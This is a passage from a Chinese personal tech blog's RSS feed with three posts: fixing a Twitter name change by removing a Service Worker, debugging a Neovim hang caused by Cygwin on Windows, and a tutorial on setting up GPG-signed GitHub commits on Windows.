&lt;p&gt;自蓝鸟黑化之后，整个推都被上了些逆天的东西，我&lt;s&gt;大概是因为选择困难犯了&lt;/s&gt;想重新改下平台上的 ID（这次！应该！不会！再改了！）（&lt;s&gt;确信&lt;/s&gt;）&lt;/p&gt;
&lt;p&gt;改着改着改到推了，&lt;/p&gt;
&lt;p&gt;换梯子？换了几个没用&lt;/p&gt;
&lt;p&gt;换用 app？还是没用&lt;/p&gt;
&lt;p&gt;账号风控？没被限制&lt;/p&gt;
&lt;p&gt;马斯克我测你 🐎&lt;/p&gt;
&lt;h1&gt;二、原因&lt;/h1&gt;
&lt;p&gt;大部分原因给排除了，用 Ctrl+Shift+I（别问我为什么不用 F12，问就是用惯了）打开控制台&lt;/p&gt;
&lt;p&gt;网络那块发现每次点击保存的时候会发送一个&lt;code&gt;update_profile.json&lt;/code&gt;的请求（没有截图）&lt;/p&gt;
&lt;p&gt;又在外网上随便找了篇教程，在(清了 Cookie 后重新登陆)[https://twittercommunity.com/t/display-name-change-limit/202585/5]后，发现毫无卵用&lt;/p&gt;
&lt;p&gt;又注意到请求旁边还带了个 Service Worker 来搞什么勾八？&lt;/p&gt;
&lt;h1&gt;三、问题解决&lt;/h1&gt;
&lt;p&gt;于是我就把 Service Worker 从控制台狠狠地删除了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i0.hdslb.com/bfs/article/7c046e122cab2daa1b32e0d03807f9e2174927495.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;· · ·&lt;/p&gt;
&lt;p&gt;我又试了一次改名，发现可以改名而且成功！（虽然不知道是什么原理但是大佬们可以来研究一下）&lt;/p&gt;
&lt;p&gt;这下终于找到原因了，才知道不用 Service Worker 都能成功改名，你推搞个 Worker 来监控请求什么意思都懂（目前只知道是用来推送的）&lt;/p&gt;
&lt;p&gt;然而触发了验证，重定向弹出来一个 captcha，在经过了一题的折磨（bushi，雀食简单）后，重定向会主页了，同时发现我的用户名已经改好了，没有跳回去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i0.hdslb.com/bfs/article/3431efcd6ab39456596ffa55f8ab6fea174927495.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;*顺便再宣传一下我的推&lt;s&gt;其实也没啥好看&lt;/s&gt; &lt;a href=&quot;https://twitter.com/llkawi_&quot;&gt;澪-LLKawi&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>【水】Neovim装不上竟然是......</title><link>https://blog.nichijou.moe/posts/old/neovim-win-failed/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/neovim-win-failed/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;哈喽又是我，最近看到 Neovim 的一个视频&lt;a href=&quot;https://www.bilibili.com/video/BV1Mx4y1H7qd/&quot;&gt;男人减速带：Neovim 代码编辑器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;是的，我装完 neovide 之后开心地打开，然后开心地寄了 wwwwww&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;具体表现就是打开 Neovim 瞬间卡死（关 checker 更新检查器的了想打命令也卡住），CPU 占满一个核&lt;/p&gt;
&lt;p&gt;我一开始以为是 Neovim 的问题，升了 Nightly，后来又想是 GCC 的问题，升级了 GCC（我这时候就该把 GCC 给卸了的）尝试无果后又在 Github 上开了 Issue，开发者也一头雾水，我 tm 就？？？？了&lt;/p&gt;
&lt;p&gt;整着整着想打开 x64Dbg 出来看看有没有报错，结果里边弹出来 Cygwin...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;跳过了不支持的调试类型 IMAGE_DEBUG_TYPE_CODEVIEW （在模块vim.so中）……
在模块 vim.so 中没有找到任何支持的调试类型！
DLL已载入： 00000004D15D0000 C:\Users\User\AppData\Local\nvim-data\lazy\nvim-treesitter\parser\vim.so
跳过了不支持的调试类型 IMAGE_DEBUG_TYPE_CODEVIEW （在模块cygwin1.dll中）……
在模块 cygwin1.dll 中没有找到任何支持的调试类型！
DLL已载入： 00007FFFDD8D0000 D:\cygwin64\bin\cygwin1.dll
调试字符串： &quot;cYgFFFFFFFF 7FFFDDAFB0C0 0&quot;
EXCEPTION_DEBUG_INFO:
           dwFirstChance: 1
           ExceptionCode: E24C4A02
          ExceptionFlags: 00000081
        ExceptionAddress: kernelbase.00007FF8C33DEE5A
        NumberParameters: 0
第一次异常于 00007FF8C33DEE5A (E24C4A02)！
EXCEPTION_DEBUG_INFO:
           dwFirstChance: 1
           ExceptionCode: C0000005 (EXCEPTION_ACCESS_VIOLATION)
          ExceptionFlags: 00000000
        ExceptionAddress: cygwin1.00007FFFDDA1A3A7
        NumberParameters: 2
ExceptionInformation[00]: 0000000000000001 Write
ExceptionInformation[01]: 0000000000000000 Inaccessible Address
第一次异常于 00007FFFDDA1A3A7 (C0000005, EXCEPTION_ACCESS_VIOLATION)！
EXCEPTION_DEBUG_INFO:
           dwFirstChance: 0
           ExceptionCode: C0000005 (EXCEPTION_ACCESS_VIOLATION)
          ExceptionFlags: 00000000
        ExceptionAddress: cygwin1.00007FFFDDA1A3A7
        NumberParameters: 2
ExceptionInformation[00]: 0000000000000001 Write
ExceptionInformation[01]: 0000000000000000 Inaccessible Address
第二次异常于 00007FFFDDA1A3A7 (C0000005, EXCEPTION_ACCESS_VIOLATION)！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...真的，之前用过 MingGW，Msys2，现在又换回 Cygwin，之前编译明着给你报错现在暗戳戳把我整得脑溢血...其实也有 nvim 的锅，一直在那报 0xc0000005 还让程序继续跑下去...这样的结果就是卡死，崩溃不好吗？😡😡kiss-translator&lt;/p&gt;
&lt;p&gt;之后用卸了 GCC，Cygwin 还在，再清&lt;code&gt;nvim-data&lt;/code&gt;的时候（就是把编译好的内容给删了，）已经不报错了,好耶~&lt;/p&gt;
&lt;p&gt;虽然但是，我搞 Neovim 这三天里，几乎花了好多精力在这上面了，so wtf am i doing!？解决问题方法多，摸索的时间成本也多，哎。。。最近几天学 react 做聊天系统的计划也没时间搞了...&lt;/p&gt;
&lt;p&gt;所以说，我为什么要碰 Neovim！！？？？？ヽ（≧□≦）ノ&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;PS: 最后还是成了玩具，再也没碰过（&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;....&lt;/p&gt;
</content:encoded></item><item><title>Windows配置GPG签名，Github展示Verified绿标</title><link>https://blog.nichijou.moe/posts/old/github-gpg/</link><guid isPermaLink="true">https://blog.nichijou.moe/posts/old/github-gpg/</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;你是否羡慕别人的 Commit 旁有一个小绿标而自己旁边什么都没有？？（&lt;/p&gt;
&lt;p&gt;嚎啊，今天和大家讲一下怎么样给 github 的提交签名。&lt;/p&gt;
&lt;p&gt;Github 提交签名有三种方式，Github 自签（网页端操作自带），SSH 签名（要配置 SSH 密钥，没了解很深）和 GPG 签名（就是我们今天讲的）&lt;/p&gt;
&lt;p&gt;所以说，这有什么用？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;给你的 Commit 加上小绿标（Verified）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;验证身份，让别人知道这不是别人冒名顶替提交上来的（比如说了 Linus 假删库那件事&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里想到了之前看的一个视频：你公开了的 repo 再设私有，通过一些操作就能随意访问 branch 的内容&lt;a href=&quot;https://www.youtube.com/watch?v=EH3tenVGk60%E2%80%B8&quot;&gt;https://www.youtube.com/watch?v=EH3tenVGk60&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不止 Git——他还能:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;签名文件&lt;/li&gt;
&lt;li&gt;文件的加解密&lt;/li&gt;
&lt;li&gt;SSH 身份验证&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于用途这方面今天不展开来讨论，今天就谈谈 Git 签名这件事，作为一个 Windows 用户，这些功能日常都不太会用到&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;没法把 Linux 装上实体机！家里就一台游戏本和一个台式，显示器还接到游戏本上了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;正文&lt;/h2&gt;
&lt;p&gt;首先，我们要在系统上有 GPG，社区提供了 GPG4Win，一个在 Windows 上的 GPG 实现。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.gpg4win.org/get-gpg4win.html&quot;&gt;https://www.gpg4win.org/get-gpg4win.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载安装，没啥好说的。&lt;/p&gt;
&lt;p&gt;安装完，这里默认会给你安装上 Kleopatra（一个 GPG 的 GUI）并且默认打开&lt;/p&gt;
&lt;p&gt;第一次打开没任何证书的时候，会提示你是否创建新的证书，这里就选择新建 OpenPGP 密钥对，填入名称和邮箱（算法细节可以自行更改），会来到到下面这个页面：
&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/11/43d5c6ac7d98735ef3aff81636f5a23d.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/11/43d5c6ac7d98735ef3aff81636f5a23d.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们需要获取 GPG 的绝对路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ where.exe gpg
D:\Program Files (x86)\GnuPG\bin\gpg.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后为 Git 配置 GPG 路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global gpg.program &quot;D:\Program Files (x86)\GnuPG\bin\gpg.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你想为一个项目的 commit 签名的话，就用 local：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git config --local commit.gpgsign true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反之，我给全局的 commit 都开启了签名：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global commit.gpgsign true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，我们要获取到 key 的 ID，然后让 Git 知道我们是那个身份去签名，注意一下，提交的邮箱和用户名必须要和 Git 配置（也就是&lt;code&gt;.gitconfig&lt;/code&gt;）的名称一样！不匹配会导致 Unverified！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gpg --list-secret-keys --keyid-format LONG
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/11/ace918349cc3332d650c7554719d1eac.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/11/ace918349cc3332d650c7554719d1eac.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个 sec 后面是&lt;code&gt;算法/ID&lt;/code&gt;，0530 就是我们想要的 ID 了&lt;/p&gt;
&lt;p&gt;我们本地端的最后一步，配置 key id——&lt;code&gt;[GPG_KEY]&lt;/code&gt;就是上面的 ID，配置单个项目把 global 换成 local 就可以。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ git config --global user.signingkey &quot;[GPG_KEY]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后我们的每个 commit 都是签了名的，push 上去，GH 说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你谁啊？我不认识你！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;喜提 Unverified~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/11/c49836354b7d5f4e604120853cf9c354.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/11/c49836354b7d5f4e604120853cf9c354.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;要想绿标，你还得在 Github 上配置自己的 GPG 公钥，可以通过&lt;a href=&quot;https://github.com/hexadecimal233.gpg&quot;&gt;https://github.com/hexadecimal233.gpg&lt;/a&gt;查看。（想看别人用户名自己改啦）&lt;/p&gt;
&lt;p&gt;导出公钥有两种方法，第一种，也是我当时的方法（纯命令行）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gpg --export --armor soda114514@proton.me
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/11/5af1d3a425527e6c48556d7919f4f5c8.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/11/5af1d3a425527e6c48556d7919f4f5c8.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后第二种就是 Kleopatra，选择导出证书就是公钥，复制到 Github 里完全可用，十分甚至九分的方便啊!（&lt;/p&gt;
&lt;p&gt;最后的最后！我们把公钥传到 Github 上~&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/settings/keys&quot;&gt;https://github.com/settings/keys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这样自己 Push 的 commit 也就有绿色的 Verified 了！&lt;/p&gt;
&lt;h2&gt;结语 &amp;amp; 闲聊&lt;/h2&gt;
&lt;p&gt;其实写这篇文章是希望那些想要小绿标的大家能降低查文章的时间成本，想说的就这么点了（&lt;/p&gt;
&lt;p&gt;我每次找 powershell 之前敲的代码都很费劲，用 everything 找 PSReadline 所在文件夹，再点开历史文件&lt;code&gt;(C:\Users\User\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt)&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;笔记本上的 win11 还要被塞爆了，安装包还分开好多文件夹保存没删，编曲的音源上百 G，这不塞满才怪，还有我浏览器的收藏夹好乱（&lt;/p&gt;
&lt;p&gt;不知道如何把子文件夹放到最开头显示，还堆着之前没分类时候塞的巨大收藏夹（YES，scj3，名字够随意）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s.nichijou.moe/old-images/images/24/11/9250fb68119b09815f3a334b2dd05071.png&quot; alt=&quot;https://s.nichijou.moe/old-images/images/24/11/9250fb68119b09815f3a334b2dd05071.png&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;参考：&lt;a href=&quot;https://www.git-tower.com/blog/setting-up-gpg-windows&quot;&gt;https://www.git-tower.com/blog/setting-up-gpg-windows/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;12.3 Update&lt;/h2&gt;
&lt;p&gt;Push 的时候卡住了...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gpg: keydb_search failed: No agent running

gpg: skipped &quot;CF8F4C11552208D5&quot;: No agent running

gpg: signing failed: No agent running

error: gpg failed to sign the data

fatal: failed to write commit object
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到&lt;a href=&quot;https://superuser.com/questions/1075404/how-can-i-restart-gpg-agent/1150399#1150399&quot;&gt;https://superuser.com/questions/1075404/how-can-i-restart-gpg-agent/1150399#1150399&lt;/a&gt;说，重启 GPG agent 可以修复，试了最后也有效果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ gpgconf --kill gpg-agent
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.30 Update&lt;/h2&gt;
&lt;p&gt;为了防止 keyserver 不知道什么时候突然失联建议在配置里边加上 &lt;code&gt;keyserver hkps://keyserver.ubuntu.com&lt;/code&gt; 手动设定？
配置目录：
Win：&lt;code&gt;%APPDATA%\gnupg\gpg.conf&lt;/code&gt;
Linux: &lt;code&gt;~/.gnupg/gpg.conf&lt;/code&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>